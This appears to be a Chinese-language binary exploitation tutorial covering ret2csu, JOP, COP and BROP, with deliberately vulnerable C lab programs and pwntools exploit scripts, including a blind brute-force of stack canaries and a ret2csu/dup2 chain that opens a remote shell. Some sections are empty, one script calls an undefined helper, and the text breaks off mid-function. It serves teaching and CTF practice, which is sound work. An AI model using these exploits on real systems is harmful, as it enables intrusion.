ret2csu

原理

ret2csu(Return-to-CSU)攻击技术是一种高级的缓冲区溢出攻击,利用程序中的初始化(CSU)代码段,通常出现在程序的_init(初始化函数)和_fini(析构函数)部分。它的核心原理是通过栈溢出覆盖函数返回地址,将控制流重定向到CSU段的代码,进而实现恶意代码执行。

适用条件

程序中存在栈溢出漏洞 程序具有可控的函数指针或返回地址 程序中的CSU结构或相似机制存在 在基础题目中一般要求没有启用高级保护措施 程序可能存在未被修复的漏洞

漏洞代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void init()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void win(unsigned long a, unsigned long b, unsigned long c)
{
    if (a == 0xdeadbeef && b == 0x05201314 && c == 0x99999999)
    {
        puts("[+] Correct arguments! Spawning shell...");
        system("/bin/sh");
    }
    else
    {
        printf("Wrong arguments! Got: 0x%lx, 0x%lx, 0x%lx\n", a, b, c);
        puts("[-] Try again.");
    }
}

void (*win_ptr)(unsigned long, unsigned long, unsigned long) = win;

void vuln()
{
    char buffer[32];
    puts("=== Native Ret2CSU Training (Ubuntu 16.04) ===");
    puts("Can you call win() with a=0xdeadbeef, b=0x05201314, c=0x99999999?");
    printf("Input your payload: ");
    read(0, buffer, 0x100);
}

int main()
{
    init();
    vuln();
    return 0;
}

编译方式

64位动态链接,关闭PIE、Canary,其他默认即可

gcc source.c -o csu_demo -fno-stack-protector -no-pie

攻击思路

通过静态分析或者动态分析(如使用gdb调试器)来找出程序中的CSU结构和可利用的初始化/清理函数(通常是程序中的_init或_fini函数)。这些函数通常包含系统调用,能够执行恶意指令。

程序中存在缓冲区溢出的漏洞,并能够覆盖栈上的返回地址。通过该漏洞,可以向栈写入数据,覆盖原本的返回地址,使得程序执行恶意代码

构造特定的输入数据,以覆盖栈上的返回地址。这个数据中,在返回地址的位置上填写指向CSU函数的地址

当函数执行完后,它会使用栈上的返回地址,通常返回到函数调用的下一条指令。但在ret2csu攻击中,由于返回地址被篡改,程序会跳转到CSU结构(通常是程序的_init或者_fini函数)内的某个特定位置。

这个位置可能是执行某个系统调用,或者是调用一个恶意构造的函数。

如果CSU结构中存在某些可以被利用的系统调用或函数,攻击者可以通过控制这些系统调用或函数来执行任意操作。

Payload 构造

Exploit 构造

#!/usr/bin/env python3

from mepwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.23.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    p = conn()

    csu_init_addr = exe.symbols["__libc_csu_init"]

    csu_gadget1 = csu_init_addr + 90
    csu_gadget2 = csu_init_addr + 64

    win_ptr_addr = exe.symbols["win_ptr"]

    log.info(f"__libc_csu_init: {hex(csu_init_addr)}")
    log.info(f"Gadget 1 (pop): {hex(csu_gadget1)}")
    log.info(f"Gadget 2 (mov+call): {hex(csu_gadget2)}")
    log.info(f"win_ptr address: {hex(win_ptr_addr)}")

    offset = 32 + 8
    payload = b"A" * offset

    payload += csu_payload(
        csu_gadget1,
        csu_gadget2,
        win_ptr_addr,
        rdi=0x99999999,
        rsi=0x5201314,
        rdx=0xdeadbeef,
    )

    payload += p64(exe.symbols["main"])

    p.recvuntil(b"Input your payload: ")
    p.send(payload)

    p.interactive()


if __name__ == "__main__":
    main()

常见问题

ret2reg

原理

适用条件

漏洞代码

编译方式

攻击思路

Payload 构造

Exploit 构造

常见问题

JOP

原理

适用条件

漏洞代码

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

typedef struct Frame {
    char buf[64];
    uint64_t a;
    uint64_t b;
    uint64_t pc;
    uint64_t prog[12];
} Frame;

void win(void) {
    puts("JOP success: reached win()");
    FILE *fp = fopen("flag.txt", "r");
    if (!fp) {
        puts("flag.txt not found");
        exit(0);
    }

    char flag[128] = {0};
    fgets(flag, sizeof(flag), fp);
    puts(flag);
    fclose(fp);
    exit(0);
}

void fail(void) {
    puts("wrong chain");
    exit(0);
}

/*
 * 这里用 GNU C 的 computed goto 构造一个非常直观的 JOP dispatcher:
 *   op = prog[pc++]
 *   goto *jt[op]
 *
 * 每个 gadget 执行完后都不 ret,而是重新跳回 DISPATCH。
 */
void vm(Frame *f) {
    static void *jt[] = {
        &&G_END,        // 0
        &&G_LOAD_A,     // 1: a = imm
        &&G_ADD_A,      // 2: a += imm
        &&G_XOR_A,      // 3: a ^= imm
        &&G_LOAD_B,     // 4: b = imm
        &&G_CHECK_EQ,   // 5: if (a == b) dispatch else fail
        &&G_WIN         // 6: jump to win
    };

#define DISPATCH()                                      \
    do {                                                \
        if (f->pc >= 12) goto G_END;                    \
        uint64_t op = f->prog[f->pc++];                 \
        if (op >= sizeof(jt) / sizeof(jt[0])) goto G_END; \
        goto *jt[op];                                   \
    } while (0)

    DISPATCH();

G_LOAD_A:
    if (f->pc >= 12) goto G_END;
    f->a = f->prog[f->pc++];
    DISPATCH();

G_ADD_A:
    if (f->pc >= 12) goto G_END;
    f->a += f->prog[f->pc++];
    DISPATCH();

G_XOR_A:
    if (f->pc >= 12) goto G_END;
    f->a ^= f->prog[f->pc++];
    DISPATCH();

G_LOAD_B:
    if (f->pc >= 12) goto G_END;
    f->b = f->prog[f->pc++];
    DISPATCH();

G_CHECK_EQ:
    if (f->a == f->b) {
        DISPATCH();
    } else {
        fail();
    }

G_WIN:
    win();

G_END:
    puts("program finished");
}

void vuln(void) {
    Frame f;

    memset(&f, 0, sizeof(f));
    f.a = 1;
    f.b = 2;
    f.pc = 0;

    puts("Input your bytecode:");
    /*
     * 栈上溢出:
     * 只给 buf 64 字节,却读 256 字节
     * 可以覆盖 a / b / pc / prog[]
     */
    read(0, f.buf, 256);

    puts("Running VM...");
    vm(&f);
}

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    vuln();
    return 0;
}

编译方式

// 64位动态编译,关闭Canary和PIE

gcc -fno-stack-protector -no-pie -o jop_demo source.c

攻击思路

Payload 构造

Exploit 构造

常见问题

COP

原理

COP (Call-Oriented Programming) 是一种代码复用攻击技术,它是 ROP (Return-Oriented Programming) 的一种变体,旨在绕过针对返回指令(ret)的防御机制。

COP 的核心思想是放弃使用ret指令来驱动执行流,转而利用程序中现有的、以间接调用指令(如 call raxcall [rbx+0x10])结尾的代码片段来完成攻击任务。

COP 的执行链通常由两类 Gadget 组成:

1、Dispatcher Gadget(调度 Gadget): 这是 COP 的“心脏”,它的作用是更新一个特定的寄存器(类似于 ROP 中的栈指针 rsp),使其指向下一个 Gadget 的地址,然后执行一个间接调用

示例代码: add rbx, 8; call [rbx]; 这里 rbx 就像是一个“虚拟指令指针”,每执行一次,rbx 增加,然后调用新的地址。

2、Functional Gadget(功能 Gadget): 这些 Gadget 执行具体的任务(如设置寄存器参数、触发系统调用),关键点在于,这些 Gadget 的结尾必须跳回 Dispatcher Gadget,或者直接指向下一个 Functional Gadget。

示例代码: mov rdi, rax; jmp rbx;pop rsi; call rdx;

适用条件

针对性防御绕过

栈空间或控制受限

Gadget 的可用性

漏洞代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

typedef struct Frame Frame;
typedef void (*handler_t)(Frame *);

struct Frame {
    char buf[64];
    handler_t handler;
    long arg1;
    long arg2;
};

void hello(Frame *f) {
    puts("hello");
}

void gate(Frame *f) {
    if (f->arg1 != 0x13371337) {
        puts("access denied");
        return;
    }

    if (!f->handler) {
        puts("null handler");
        return;
    }

    f->handler(f);
}

void win(Frame *f) {
    puts("COP success: reached win()");
    FILE *fp = fopen("flag.txt", "r");
    if (!fp) {
        puts("flag.txt not found");
        exit(0);
    }

    char flag[128] = {0};
    fgets(flag, sizeof(flag), fp);
    puts(flag);
    fclose(fp);
    exit(0);
}

void vuln(void) {
    Frame f;

    memset(&f, 0, sizeof(f));
    f.handler = hello;
    f.arg1 = 0;
    f.arg2 = 0;

    puts("Input:");
    read(0, f.buf, 128);

    puts("Checking...");
    gate(&f);
}

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    vuln();
    return 0;
}

编译方式

关闭Canary和PIE,开启-O0,其他默认

gcc source.c -o cop_demo -fno-stack-protector -no-pie -O0

准备flag

echo 'flag{cop_stack_demo_for_teaching}' > flag.txt

攻击思路

漏洞在栈上,Frame f;是局部变量,位于vuln()栈帧中,而程序执行read(0,f.buf,128);,但buf只有64字节,所以会覆盖后面的成员:handlerarg1arg2,这里不强调覆盖返回地址,也不需要gadget链,程序后面自己会调用dispatch(&f);dispatch()里又会执行f->handler(f);所以利用的关键是覆盖栈上结构体里的函数指针handler,让已有的call去调用我们指定的函数。

+----------------------+
|     buf[64]          |
+----------------------+
|     handler          | --> 8字节(所以覆盖handler的偏移是64)
+----------------------+
|     arg1             | --> 8字节(覆盖偏移72 (64 + 8))
+----------------------+
|     arg2             | --> 8字节(覆盖偏移80 (64 + 8 + 8))
+----------------------+

Payload 构造

目标很简单,把f.handler = hello;覆盖成f.handler = win;这样后续执行dispatch(&f);时,就会变成win(&f);

Exploit 示例

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.23.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    p = conn()

    win = exe.symbols["win"]

    payload = flat(b"A" * 64, p64(win), p64(0x13371337), p64(0))

    p.recvuntil(b"Input:\n")
    p.send(payload)

    p.interactive()


if __name__ == "__main__":
    main()

常见问题

在目前的二进制漏洞利用实践中,COP的确不如ROP常用,仅在高对抗场景下具有一定的地位,在一般的CTF比赛或常规软件漏洞利用中,由于防御水平还还没到强制屏蔽ret的地步,ROP依然是首选。

BROP

原理

BROP 是一种在没有二进制文件(No Binary)、没有源代码,甚至不知道目标系统确切环境的情况下,利用栈溢出漏洞进行利用的高级技术。

适用条件

目标程序在崩溃后会自动重启(通常是 fork() 出来的子进程)

重启后内存地址(ASLR)和 Canary 的值不会改变

漏洞代码

#include <stdio.h>      // 提供标准输入输出函数,如puts()
#include <unistd.h>     // 提供POSIX标准系统调用,如read(),write(),close(),fork()
#include <stdlib.h>     // 提供标准库函数,如exit()
#include <sys/socket.h> // 提供套接字(Socket)相关的核心函数和数据结构
#include <netinet/in.h> // 提供互联网地址族结构体,如sockaddr_in
#include <signal.h>     // 提供信号处理函数signal()

// 漏洞函数: 处理客户端请求
void handle_client(int client_sock)
{
    char buf[64];                // 在栈上分配了一个大小为64字节的字符数组(缓冲区)
    read(client_sock, buf, 512); // 【核心漏洞点】从客户端套接字读取最多512字节的数据放入buf中
} // 因为512远远大于64,攻击者可以发送超长字符串覆盖栈上的关键数据(如返回地址),从而劫持程序执行流

// 主函数
int main()
{
    signal(SIGCHLD, SIG_IGN); // 忽略子进程结束信号。这可以防止子进程结束后变成“僵尸进程”,系统会自动回收子进程资源

    int server_sock, client_sock;   // 定义服务器监听套接字和客户端连接套接字的文件描述符
    struct sockaddr_in server_addr; // 定义用于保存服务器IP和端口信息的结构体

    // 创建一个套接字: AF_INET表示使用IPv4,SOCK_STREAM表示使用TCP协议
    server_sock = socket(AF_INET, SOCK_STREAM, 0);

    int opt = 1;
    // 设置SO_REUSEADDR选项,这样服务器意外崩溃或重启时,可以立即重新绑定该端口,而不会提示“Address already in use”
    setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

    server_addr.sin_family = AF_INET;         // 地址族设为 IPv4
    server_addr.sin_addr.s_addr = INADDR_ANY; // 绑定到0.0.0.0(接受来自任意网卡的连接)
    server_addr.sin_port = htons(9999);       // 设置监听端口为9999,htons()将主机字节序转换为网络字节序(大端序)
    // 将刚才设置的IP和端口与服务器套接字绑定
    bind(server_sock, (struct sockaddr *)&server_addr, sizeof(server_addr));
    // 开始监听连接请求,最大允许排队的未处理连接数为5
    listen(server_sock, 5);

    // 在服务器控制台打印启动提示
    puts("Server is running on port 9999...");

    while (1)
    { // 死循环,让服务器持续运行
        // 阻塞等待客户端连接,当有客户端连接时,返回一个新的套接字(clinet_sock)专门用于和该客户端通信
        client_sock = accept(server_sock, NULL, NULL);
        if (fork() == 0)
        { // 调用fork()创建一个子进程
          // fork()在子进程中会返回0,所以if块内的代码只有子进程会执行

            // --- 以下是子进程处理逻辑 ---
            // 向客户端发送欢迎信息,提示发送payload
            write(client_sock, "Welcome! Send payload:\n", 23);
            // 调用之前定义的漏洞函数,接收客户端输入
            handle_client(client_sock);
            // 如果程序没有崩溃,向客户端发送完成处理的提示
            write(client_sock, "Done!\n", 6);
            close(client_sock); // 关闭子进程中的客户端连接
            exit(0);            // 子进程执行完毕,正常退出
        }
        close(client_sock);
    }
    return 0;
}

编译方式

只关闭PIE,其余默认

攻击思路

整个攻击思路大致分为3个部分

第一阶段:信息收集与基础 gadget 扫描

盲注脱库:利用基于服务器“崩溃/正常返回”的单字节爆破(类似 SQL 盲注),泄露栈上的 Canary、Saved RBP 和 返回地址(Saved RIP) 寻找retgadget:寻找一个单纯的ret指令,用于解决Ubuntu环境下的栈对其问题(movaps crash) 寻找 BROP gadget:寻找__libc_csu_init函数末尾的6个连续pop指令,从而获得pop rdi;ret等控制寄存器的能力

第二阶段:寻找输出函数并 dump 内存

利用找到的pop rdi;ret构造ROP链,在PLT表中盲扫putswrite函数 一旦找到输出函数,就控制参数将从0x400000(ELF文件头)开始的内存不断打印出来,并在本地还原成一个完整的ELF文件

第三阶段:逆向分析与最终 getshell

有了dump下来的ELF文件,这题就变成了常规的ROP题目 通过ret2csu技术泄露GOT表中的真实Libc地址 由于是网络Socket交互,需要用dup2函数将标准输入输出重定向到Socket的文件描述符(FD) 最后执行system("/bin/sh")获取shell

Payload 构造

基础探测与gadget盲扫

这个脚本是BROP的核心,它巧妙地利用了服务器的响应状态作为Oracle(预言机)

核心判定函数:check_alive(payload)

def check_alive(payload):
	# 发送payload,如果程序正常打印了"Done!\n",说明没有崩溃(返回True)
	# 如果超时或连接断开,说明出发了段错误/Canary报错等(返回False)

在BROP中,程序的死活是我们唯一的反馈

Stage 0:环境自愈(单字节盲破脱库)

def bruteforce_data(offset,known_data,length,name):

攻击原理:假设我们要爆破Canary,它的最低位必定是\x00,对于剩下的7个字节,我们从\x00\xff挨个尝试 Payload构造:b"A" * 72 + known_data + guess_byte 逻辑:覆盖Canary的第一个未知字节,如果猜错了,Canary校验失败,程序调用__stack_chk_fail导致崩溃(check_alive返回False);如果猜对了,程序正常执行到结束(check_alive返回True),以此类推,一个字节一个字节地把Canary、RBP、RIP全部“偷”出来

Stage 1:盲扫纯净的retgadget

def get_ret_gadget(base_payload,stop_gadget,text_base):

目的:找到一个仅包含ret指令的地址,后面很多地方需要填充ret来进行16字节对齐 Stop Gadget是什么:在这里指的是程序原本的正常返回地址(Saved RIP),如果我们跳到一个地址执行完后,还能再跳回Stop Gadget,程序就不会崩溃 Payload构造:base_payload + p64(guess_addr) + p64(stop_gadget) 逻辑:如果guess_addr恰好是一个ret指令,程序执行到这里,会直接从栈上弹出一个值给RIP,此时栈顶恰好是我们布置的stop_gadget,程序安全返回,存活

Satge 2:移位盲扫 BROP gadget(最精华的部分)

BROP Gadget指的是__libc_csu_init中的这块代码(或者相似序列): pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret

def get_brop_gadget(base_payload, stop_gadget, text_base, saved_rbp_int, ret_gadget):

这里我们使用了”验证/证伪(True/False)逻辑来避免假阳性”

寻找逻辑(Payload1):

payload1 = base_payload + p64(ret_gadget) + p64(addr) + safe_pops + p64(stop_gadget)

我们假设addrpop rbx(BROP Gadget起点),我们随后在栈上放置了6个安全的值(safe_pops),接着放上stop_gadget 如果程序存活下来了,说明addr执行完毕后,刚好消耗了栈上的6个值,然后ret到了stop_gadget (注:脚本中的safe_pops设置了pop rbx=4pop rbp=saved_rbp以防止后续某些指令用到这些寄存器导致非法内存访问崩溃)

严格验证逻辑(Payload2 - 陷阱测试): 上面的逻辑活下来,不一定是因为它是连续6个pop,万一那个地址什么都不干直接ret呢?所以必须证伪

payload2 = base_payload + p64(ret_addr) + p64(addr) + safe_pops[:-8] + p64(stop_gadget) + p64(0)

我们将栈上的padding减少一个(即去掉最后一个pop r15的占位),把stop_gadget往前挪了一格,最后补个0 如果addr真的是连续6个pop的BROP Gadget,那么第6个pop会把stop_gadget弹到寄存器里,紧接着的ret指令会弹出我们放在最后的p64(0)作为跳转地址,跳转地址0x0必定引发段错误(Crash)

衍生Gadget:找到BRPOP Gadget后,加9个字节(brop_gadget + 9),就是pop rdi; ret(汇编指令按字节错位解析的奇妙特性,详见常见问题)

二进制文件Dump

有了pop rdi;ret,就可以给函数传参了(Linux x64调用约定,第一个参数放入RDI)

盲扫PLT(寻找puts或write):

脚本在0x4003000x400900范围内盲猜输出函数

puts的Payload:padding + p64(pop_rdi) + p64(0x400000) + p64(guess_plt)如果猜对了,程序会打印出地址0x400000处的内容(ELF文件开头永远是\x7fELF) 测writePayload:write(fd, buf, size)需要3个参数,对应的寄存器是rdi,rsi,rdx,脚本利用pop_rsi_r15(来自BROP Gadget + 7)来控制rsi,rdx虽然不能直接pop完美控制,但通常程序的参与状态能提供一个正数,另外,Socket程序需要猜文件描述符fd(通常是3~7)

Dump内存(dump_memory_puts/dump_memory_write):

不断将0x4000000x400001等地址送入rdi,调用打印函数,获取响应内容,拼接到本地文件中,遇到截断符(如puts遇到\x00)的地址步进,直到脱下整个4KB(0x1000)大小的文件

GetShell

在拿到ELF文件后,使用IDA等工具分析出write@GOT的地址和原函数漏洞点,并实现两次Payload攻击

Payload1:ret2csu泄露Libc

由于单纯的BROP Gadget无法轻松控制rdx(第三个参数),脚本使用了经典的ret2csu技术(调用__libc_csu_init的前半段和后半段)

# 核心 Payload 1 构造
p1 += p64(ret_gadget) # 栈对齐
p1 += p64(csu_gadget1) # pop rbx,rbp,r12,r13,r14,r15; ret
p1 += p64(0)  # rbx = 0
p1 += p64(1)  # rbp = 1 (为了绕过 csu2 末尾的 cmp rbx, rbp)
p1 += p64(write_got) # r12 = 调用的函数地址
p1 += p64(8)  # r13 -> rdx = 8 (打印 8 个字节)
p1 += p64(write_got) # r14 -> rsi = write_got (要打印的地址)
p1 += p64(FD)  # r15 -> rdi = fd (通常网络套接字是4)
p1 += p64(csu_gadget2) # 赋值寄存器并 call [r12 + rbx*8]
...
p1 += p64(sub_4008b6) # 泄露完后跳回漏洞函数,让服务别断

执行完毕后,服务器会把libc中write的真实内存地址返回给我们,结合本地的libc,计算出基址

Payload2:I/O重定向与弹Shell

由于交互是通过Socket(FD=4)进行的,如果直接执行system("/bin/sh"),Shell的输入输出会在靶机的服务器后台,我们在本地看不到也控不了,因此需要用到dup(oldfd,newfd)

# 执行 dup2(FD, 0) -> 将标准输入(0)重定向到 Socket连接
p2 += p64(pop_rdi) + p64(FD)
p2 += p64(pop_rsi_r15) + p64(0) + p64(0)
p2 += p64(dup2)

# 执行 dup2(FD, 1) -> 将标准输出(1)重定向到 Socket连接
p2 += p64(pop_rdi) + p64(FD)
p2 += p64(pop_rsi_r15) + p64(1) + p64(0)
p2 += p64(dup2)

# 执行 system("/bin/sh")
p2 += p64(pop_rdi) + p64(bin_sh)
p2 += p64(ret_gadget)  # Ubuntu system movaps 崩溃绕过(栈16字节对齐)
p2 += p64(system)

发送此Payload,即可在当前脚本终端里拿到远程机器的Shell(r.interactive()

Exploit 示例

信息泄露脚本

from pwn import *  # 导入pwntools库,这是CTF Pwn题的必备神器
import sys  # 导入sys模块,用于程序的异常退出处理

context.arch = "amd64"  # 设置目标程序的架构为64位
context.log_level = "info"  # 设置日志级别位info,让pwntools输出进度信息

HOST = "127.0.0.1"  # 目标服务器IP
PORT = 9999  # 目标服务器端口

OFFSET = 72  # 核心偏移量:从输入缓冲区到stack canary的距离


def check_alive(payload):
    """检测靶机是否存活并且正常执行了返回"""
    try:
        r = remote(
            HOST, PORT, level="error", timeout=1
        )  # 连接靶机,关闭单次连接的日志,设置超时时间为1秒
        r.recvuntil(b"Welcome! Send payload:\n", timeout=1)  # 接收欢迎提示
        r.send(payload)  # 发送测试用的恶意载荷
        res = r.recvall(timeout=0.5)  # 接收服务器返回的所有数据
        r.close()  # 关闭连接
        return (
            b"Done!\n" in res
        )  # 核心判断逻辑:如果返回的数据中包含“Done!\n”,说明程序没有崩溃,正常执行完毕返回了True,否则触发异常返回False
    except:
        return False  # 如果网络超时或由于溢出导致子进程崩溃(连接直接断开),返回False


def bruteforce_data(offset, known_data, length, name):
    """通用单字节盲打脱库函数"""
    p = log.progress(f"Bruteforcing {name}")  # 在终端显示一个炫酷的进度条
    recovered = b""  # 用于存放已经成功爆破出的字节

    for i in range(length):  # 需要爆破多少个字节(通常64位下是8字节)
        found = False
        for byte in range(256):  # 遍历 0x00 到 0xFF (0~255)的每一个可能字节
            test_byte = bytes([byte])  # 将数字转换为单字节数据

            # 构造payload:垃圾填充(72) + 已经猜对的数据 + 当前测试的字节
            payload = b"A" * offset + known_data + recovered + test_byte

            if check_alive(payload):  # 调用前面的检测函数
                recovered += test_byte  # 如果没崩溃(返回True),说明这个字节猜对了,加入已恢复的数据中
                found = True
                p.status(
                    f"Byte {i+1}/{length}: {hex(byte)} | {recovered.hex()}"
                )  # 更新进度条状态
                break  # 猜对当前字节,跳出内层循环,继续猜下一个字节

        if not found:  # 如果0~255试完了都没有成功
            p.failure(  # 报错并退出
                f"Failed to find byte {i+1} of {name}. Network unstable or offset wrong?"
            )
            sys.exit(1)

    p.success(
        f"0x{recovered[::-1].hex()}"
    )  # 爆破完毕,打印结果,由于小端序,这里用[::-1]逆序打印方便阅读
    return recovered


def auto_leak(offset):
    """利用前面的爆破函数,依次爆破3个关键的8字节数据"""

    # 爆破Canary(栈溢出保护机制),长度8字节
    canary = bruteforce_data(offset, b"", 8, "Canary")

    # 爆破Saved RBP(调用者函数的基址指针),紧跟在Canary后面
    saved_rbp = bruteforce_data(offset, canary, 8, "Saved RBP")

    # 爆破Saved RIP(返回地址,即程序正常的返回去向),紧跟在RBP后面
    saved_rip = bruteforce_data(offset, canary + saved_rbp, 8, "Saved RIP")

    return canary, saved_rbp, saved_rip


def get_ret_gadget(base_payload, stop_gadget, text_base):
    """盲搜一个最简单的`ret`指令地址"""
    p = log.progress("Stage 1: Blindly scanning for a 'ret' gadget")

    # 在代码段的偏移0x500到0x1000范围内暴力搜索
    for addr in range(text_base + 0x500, text_base + 0x1000):
        # 构造Payload:基础填充(知道RIP) + 测试地址 + Stop Gadget(通常就是正常返回地址)
        payload = base_payload + p64(addr) + p64(stop_gadget)

		        if check_alive(payload):
            # 如果程序没崩溃,说明 test_addr 确实是一条不会引发崩溃的指令(大概率是ret)
            # 程序执行 ret 后,会顺利跳到 stop_gadget 从而返回"Done!"。
            p.success(f"Found 'ret' gadget at: {hex(addr)}")
            return addr

    p.failure("Could not find ret gadget.")
    return None


def get_brop_gadget(base_payload, stop_gadget, text_base, saved_rbp_int, ret_gadget):
    # BROP 漏洞利用的核心:寻找`__libc_csu_init` 中的通用 pop 链(它会连续 pop 6 个寄存器然后 ret)
    p = log.progress("Stage 2: Blindly scanning for 'csu_gadget' (BROP Gadget)")

    # 构造能够安全消费 6 个 pop 的数据,防止程序崩溃
    # pop rbx(0x40000000 防止除零等错误), pop rbp(原本的rbp),以及pop r12,r13,r14,r15(用 0 填充)
    safe_pops = (
        p64(0x0000000400000000) + p64(saved_rbp_int) + p64(0) + p64(0) + p64(0) + p64(0)
    )

    for addr in range(text_base + 0x500, text_base + 0x1000):
        # Payload 1 探测:如果 addr 刚好是一个连续 pop 6 次并 ret 的地址,那么它会消耗掉 safe_pops,然后顺利跳到 stop_gadget,程序不崩溃
        payload1 = (
            base_payload + p64(ret_gadget) + p64(addr) + safe_pops + p64(stop_gadget)
        )

        if check_alive(payload1):
            # 但是,上面的测试也可能碰到一个什么都不做直接 ret 的地址,为了排除错误,使用 Payload 2 验证:
            # 故意少给 8 字节(去掉最后一个 0),使得栈错位
            payload2 = (
                base_payload
                + p64(ret_gadget)
                + p64(addr)
                + safe_pops[:-8]
                + p64(stop_gadget)
                + p64(0)
            )

            if not check_alive(payload2):
                # 如果Payload2崩溃了,说明改地址真的严格执行了 pop 6 次,这是一个真是的BROP Gadget
                p.success(f"Found True BROP Gadget at: {hex(addr)}")
                return addr

    p.failure("Could not find BROP Gadget.")
    return None


if __name__ == "__main__":
    # 首先执行自动化泄露,爆破出栈上的Canary、RBP、RIP
    canary, saved_rbp, saved_rip = auto_leak(OFFSET)

    # 封装基础的溢出覆盖载荷(覆盖到RBP为止,后面就可以接各种Gadget了)
    base_payload = b"A" * OFFSET + canary + saved_rbp

    # u64用于将8字节 bytes 解包为64位整数,保存的RIP被我们当作”Stop Gadget“(能让程序安全存活的锚点)
    stop_gadget = u64(saved_rip)

    # 根据泄露出的真实运行地址,通过页对齐(将最低的三个半字节清零),计算出程序代码段的基地址
    text_base = stop_gadget & 0xFFFFFFFFFFFFF000

    # 寻找纯粹的 ret 指令
    ret_gadget = get_ret_gadget(base_payload, stop_gadget, text_base)
    if not ret_gadget:
        sys.exit(1)

    # 寻找能够控制多个寄存器的BROP Gadget
    brop_gadget = get_brop_gadget(
        base_payload, stop_gadget, text_base, u64(saved_rbp), ret_gadget
    )

    # 非常重要的一步:在 __libc_csu_init 中,BROP Gadget 的起始位置 + 9 个字节
    # 恰好对应汇编指令`pop rdi; ret;`,控制了 rdi 就控制了64位程序函数调用的第一个参数
    pop_rdi = brop_gadget + 9 if brop_gadget else None

    # 打印最终盲打出来的所有关键信息,后续就可以根据这些地址编写真正的 getshell ROP 链了
    print("\n[================ Final Blind Scanning Report ================]")
    print(f"[*] Buffer Offset : {OFFSET}")
    print(f"[*] Canary        : {hex(u64(canary))}")
    print(f"[*] Saved RBP     : {hex(u64(saved_rbp))}")
    print(f"[*] Saved RIP     : {hex(u64(saved_rip))}")
    print(f"[*] Text Base     : {hex(text_base)}")
    print(f"[*] Stop Gadget   : {hex(stop_gadget)}")
    print(f"[*] Ret Gadget    : {hex(ret_gadget) if ret_gadget else 'None'}")
    print(f"[*] BROP Gadget   : {hex(brop_gadget) if brop_gadget else 'None'}")
    print(f"[*] pop rdi; ret  : {hex(pop_rdi) if pop_rdi else 'None'}")
    print("[=============================================================]\n")

二进制文件dump脚本

# 导入 pwntools 库,这是 CTF pwn 题中最常用的 python 漏洞利用开发库
from pwn import *

# 导入 sys 模块,主要用于在程序出错时执行 sys.exit(1) 退出脚本
import sys

# 导入 sleep 函数,用于在网络请求之间添加延时,防止发包过快导致服务器拒绝连接或处理混乱
from time import sleep

# 定义目标服务器的 IP 地址(本地回环地址)
HOST = "127.0.0.1"
# 定义目标服务器的端口号
PORT = 9999
# 设置 pwntools 的全局日志级别为 "error",隐藏 info/debug 等常规信息,保持终端输出整洁
context.log_level = "error"

# 缓冲区溢出到达 Canary 前所需的填充字节数 (Padding 长度)
OFFSET = 72

# 预先找到的 ROP Gadgets(代码片段)地址
# 这些通常是在前置的 BROP 扫描阶段找出来的(比如通过寻找 stop gadget 和 brop gadget)
# x64 架构下,参数传递顺序依次是:rdi, rsi, rdx, rcx, r8, r9
POP_RDI_RET = 0x400A83  # pop rdi; ret; 用于控制第一个参数 (通常是 fd,文件描述符)
POP_RSI_R15_RET = 0x400A81  # pop rsi; pop r15; ret; 用于控制第二个参数 (通常是 buffer 地址),同时消耗掉 r15
RET_GADGET = 0x400A84  # ret; 单纯的返回指令,通常用于满足 x64 环境下调用函数时要求的 16 字节栈对齐 (Stack Alignment)


# 定义一个辅助函数,用于检查发送 payload 后,目标程序是否存活(未崩溃)
def check_alive(payload):
    try:
        # 连接目标服务器,设置 1 秒超时
        r = remote(HOST, PORT, timeout=1)
        # 接收服务端的欢迎信息,直到遇到指定的字符串
        r.recvuntil(b"Welcome! Send payload:\n", timeout=1)
        # 发送我们构造的恶意载荷
        r.send(payload)
        # 接收服务端在处理 payload 后的所有返回数据
        response = r.recvall(timeout=0.5)
        # 关闭连接
        r.close()
        # 判断返回数据中是否包含 "Done!\n"
        # 如果包含,说明程序正常执行到了 return 并输出了此语句,证明没有触发异常(如 Canary 报错或段错误)
        return b"Done!\n" in response
    except:
        # 如果中间发生 socket 断开等异常,说明程序崩溃了,返回 False
        return False


# 阶段1:逐字节爆破 Stack Canary (栈保护标识)
def get_canary():
    log.info(f"\n Stage 1: 开始自动爆破 Canary ...")
    # 64位程序的 Canary 长度为 8 字节,且为了防止截断,最低位固定为 \x00
    canary = b"\x00"
    # 还需要爆破剩下的 7 个字节
    for _ in range(1, 8):
        # 每个字节的范围是 0x00 到 0xFF (0~255)
        for b in range(256):
            # 构造 payload: 垃圾填充数据 + 当前已知的 canary 部分 + 正在猜测的字节
            payload = b"A" * OFFSET + canary + bytes([b])
            # 验证猜测的字节是否正确
            if check_alive(payload):
                # 如果程序没崩,说明这个字节猜对了,加入到 canary 变量中
                canary += bytes([b])
                log.info(f"找到字节: {hex(b)} -> 目前 Canary: {canary.hex()}")
                break  # 跳出内层循环,继续爆破下一个字节
        else:
            # 如果 0-255 都没成功(for...else语法),说明出问题了(如偏移不对或程序状态异常)
            log.failure("Canary 爆破失败!请检查程序是否崩溃未重启。")
            sys.exit(1)
    # 返回完整的 8 字节 Canary
    return canary


# 阶段2:逐字节爆破 Saved RBP (保存的栈底指针)
def get_rbp(canary):
